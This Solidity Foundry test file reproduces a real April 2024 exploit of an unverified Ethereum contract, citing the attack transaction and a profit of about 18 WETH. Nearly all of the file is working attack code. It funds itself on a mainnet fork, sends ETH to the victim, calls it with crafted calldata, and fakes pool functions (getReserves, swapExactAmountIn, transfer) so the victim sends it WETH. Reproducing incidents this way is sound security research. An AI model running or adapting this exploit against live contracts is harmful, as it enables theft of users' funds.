src/test/2024-04/UnverifiedContr_0x00C409_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// TX : https://app.blocksec.com/explorer/tx/eth/0x998f1da472d927e74405b0aa1bbf5c1dbc50d74b39977bed3307ea2ada1f1d3f
8// GUY : https://x.com/CyversAlerts/status/1780593407871635538
9// Profit : ~18 WETH
10 
11contract ContractTest is Test {
12    IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
13    address public vulnContract = 0x00C409001C1900DdCdA20000008E112417DB003b;
14    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
15    IBalancerVault Balancer = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);
16 
17    event log_data(bytes data);
18 
19    function setUp() public {
20        vm.createSelectFork("mainnet", 19_255_512);
21    }
22 
23    function testExploit() external {
24        deal(address(weth), address(this), 4704.1 ether);
25        emit log_named_decimal_uint(
26            "[End] Attacker weth balance before exploit", weth.balanceOf(address(this)), weth.decimals()
27        );
28        attack();
29        emit log_named_decimal_uint(
30            "[End] Attacker weth balance after exploit", weth.balanceOf(address(this)), weth.decimals()
31        );
32    }
33 
34    function attack() public {
35        weth.withdraw(4704.1 ether);
36        address(vulnContract).call{value: 4704.1 ether}("");
37        bytes memory data = abi.encodeWithSelector(
38            bytes4(0xba381f8f),
39            0xffffffffffffffffff,
40            0x01,
41            address(this),
42            address(this),
43            0x00,
44            0x00,
45            0x00,
46            address(this),
47            0x01
48        );
49        emit log_data(data);
50        // bytes memory data=hex"ba381f8f0000000000000000000000000000000000000000000000ffffffffffffffffff00000000000000000000000000000000000000000000000000000000000000010000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000007fa9385be102ac3eac297483dd6233d62b3e14960000000000000000000000000000000000000000000000000000000000000001";
51        vulnContract.call(data);
52    }
53 
54    function getBalance(
55        address token
56    ) public view returns (uint256) {
57        return 1;
58    }
59 
60    function getbalance() public {
61        emit log_named_decimal_uint("this token balance", weth.balanceOf(address(vulnContract)), weth.decimals());
62    }
63 
64    function getReserves() public view returns (uint256, uint256, uint256) {
65        return (1, 1, block.timestamp);
66    }
67 
68    function calcOutGivenIn(
69        uint256 amountIn,
70        uint256 reserveIn,
71        uint256 reserveOut,
72        uint256 a,
73        uint256 b,
74        uint256 c
75    ) public pure returns (uint256 amountOut) {
76        return 1;
77    }
78 
79    function swapExactAmountIn(
80        address tokenIn,
81        uint256 tokenAmountIn,
82        address tokenOut,
83        uint256 minAmountOut,
84        uint256 maxPrice
85    ) external returns (uint256, uint256) {
86        weth.transferFrom(msg.sender, address(this), tokenAmountIn);
87        return (0, 0);
88    }
89 
90    function transfer(address to, uint256 value) public returns (bool) {
91        return true;
92    }
93 
94    fallback() external payable {}
95}